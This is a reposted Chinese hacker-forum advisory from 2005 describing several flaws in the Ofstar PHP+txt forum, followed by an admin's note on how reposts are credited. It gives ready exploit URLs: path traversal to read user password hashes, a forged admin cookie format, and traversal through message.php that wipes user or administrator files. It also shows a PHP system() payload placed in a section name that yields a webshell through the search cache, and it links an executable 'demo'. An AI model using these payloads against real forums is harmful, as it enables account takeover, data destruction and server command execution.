[转载]ofstar php加txt论坛严重漏洞
文章作者:saiy[F.S.T]信息来源:火狐技术联盟([url]www.wrsky.com[/url])
关键字:ofstar漏洞 php脚本入侵 脚本入侵
作者简介:saiy 火狐技术联盟核心组成员
漏洞名称:ofstar php+txt 论坛严重漏洞
风险等级:高
备注:漏洞内部发布日期 05/01/09 公开发布日期 05/01/11
注意!!!通过此方法造成的任何损失与火狐技术联盟无关
ofstar论坛的read.php存在极大的安全隐患!
我们先来看一下read.php中的两行代码
$articlearray=openfile("$dbpath/$fid/$tid.php");
$topic_detail=explode("|",$articlearray[0]);
可以看出该句直接打开forumdir/版块名/帖子数.php,以|为分隔符号读出内容。
而其中帖子数我们是可以构造的,但是有的东西我们是读不出来的,因为必须以|为分隔读内容,而ofstar恰巧很多东西都是这样保存的,比如说是用户资料的保存
开始,提交地址[url]http://localhost/read.php?fid=1&tid=../../userdir/saiy[/url]
那么便读出了saiy的密码散列,在用户名的位置显示出来了!
可以利用伪造cookies登陆论坛!
格式为:
lastPP=1; ofstaradminid=管理用户名; ofstaradminpwd=管理散列口令; ol_offset=202; ofstarid=用户名; ofstarpwd=散列口令; lastvisit=1105276862
漏洞二,利用message.php制造垃圾短消息。。(这个方法好象在2004年6月份一本杂志上看到过)
我们先来看发送短消息的那部分代码!
elseif(!file_exists("$userpath/$msg_ruser.php")){
$mes_info="用户不存在.";
}
这段代码的意思就是说看在userdir($userpath这个等于userdir这个值)这个文件夹下是否存在用户名.php,它是利用检查userdir\你输入的用户名.php存在与否来觉得此用户是否存在的,那我们怎么利用这个函数呢?假设我们输入的用户是../index的话,程序在代码里运行的情况就是
file_exists("userdir/../index.php")
再换个样子,变成
file_exists("./index.php")
懂了吧`程序变成去检查首页是否存在,存在就当作用户存在发出短消息。
短消息本来是保存在userdata/msgbox目录下,以用户名1.php格式保存的,那这样子,我们这条消息就被移到了userdata/目录下,名字为index1.php,我们可以写个程序调用检查其他文件是不是存在然后发出短消息。达到垃圾短消息的目的,有的人会说论坛限制了重复的发短消息,对,没错,但是你发现没有,当他提示“发送失败:请不要在 10 秒内连续性的发送短消息. ”时候你刷新页面,消息还是发送出去了的!!
漏洞三 恶意删除文件内容
删除论坛的短消息的url为[url]http://www.[/url]某某站.com/message.php?action=del&msg=0&filename=saiy1.php
大家注意后面的saiy1.php,我们查看message.php,看看关于删除短消息是怎么写的?
if (file_exists("userdata/$msgpath/$filename")){
$receivearray=openfile("userdata/$msgpath/$filename");
$count=count($receivearray);
for ($i=0; $i<$count; $i++)
{if ($i==$msg)unset($receivearray[$msg]);}
$newmsgdb=implode("",$receivearray);
writeover("userdata/$msgpath/$filename",$newmsgdb);
}
$mes_info='成功删除一条信息';
居然没有过滤$filename提交的内容!假设我们把filename修改为../../userdir/saiy.php我们就清空了saiy这个用户的所有注册资料了~而当我们把后面的文件名改为../../bbsdata/manager.php那我们就清空了所有管理员!其他的操作大家也可以想得到了!
3 论坛注册过滤不全!
论坛里注册时候没有过滤掉一些特殊字符,导致黑客可以在论坛进行恶意破坏,假设黑客注册名为saiy#happy,那么当对此黑客进行编辑或是发送消息的时候将会对saiy进行操作了,除非手动把#替换成%23才可以进行正常的操作!
4 搜索功能有可能被拿到管理权限的黑客利用
其实Ofstar2.0的安全性质总体来说还是很好的,假设被黑客拿到了管理权限你也入侵不了服务器,只能在论坛打住,因为你无法饶过论坛的上传限制,但是,不小心的是论坛的搜索功能有可能被黑客利用进行入侵,
首先,拿到管理权限的黑客可以到后台添加一个版块为<?system($a);?>然后到这个版块发帖子,他发完帖子进行搜索(搜索所发的帖子)便可以得到一个webshell,调用方式为,http://站点地址.com/userdata/cache/关键词ALLCor0.php?a=dir
当然,你也可以运行其他的命令!!
漏洞演示动画下载地址:
[url]http://evan52.51.net/star.exe[/url]
[b]--Administrator--
因为工作量比较大 所以我们一般如果有作者就只写作者 毕竟作者发在什么站并不重要 文章可能到处发 但是作者只有一个
如果我们转载的时候 有作者一定会写上的
但是 如果没有作者 我们就会写上信息来源 但是这个来源 如果我们看到的时候 已经有注明 那么我们一定会写上级站点注明的 如果上级站点没写作者和出处 我们只好写上级站点 作为信息来源....
如果大家(VIP和管理)知道哪篇文章的作者 我们又没写的 您可以在后面跟帖回复的方式 说明一下就可以了 不用找出什么证据 本站的VIP和成员都很厚道 直接说就可以了 大家都相信你的:)
至于文章的原始出处 我们一般不会可意追求 因为每篇文章都有他的原始出处 我们如果都要找到原始出处并修改 那是相当大的工作量 而且 也没必要
所以 我们的文章出处参考的是
1 上级信息来源站点所给出的出处
2 上级信息来源站点作为出处
意思就是
文章我们从哪转来的 信息来源就是哪里 信息来源的意思 不是原始出处 而是此信息的来源
[color=red]感谢论坛VIP宿心劫反馈重复主题[/color][/b]
页:
[1]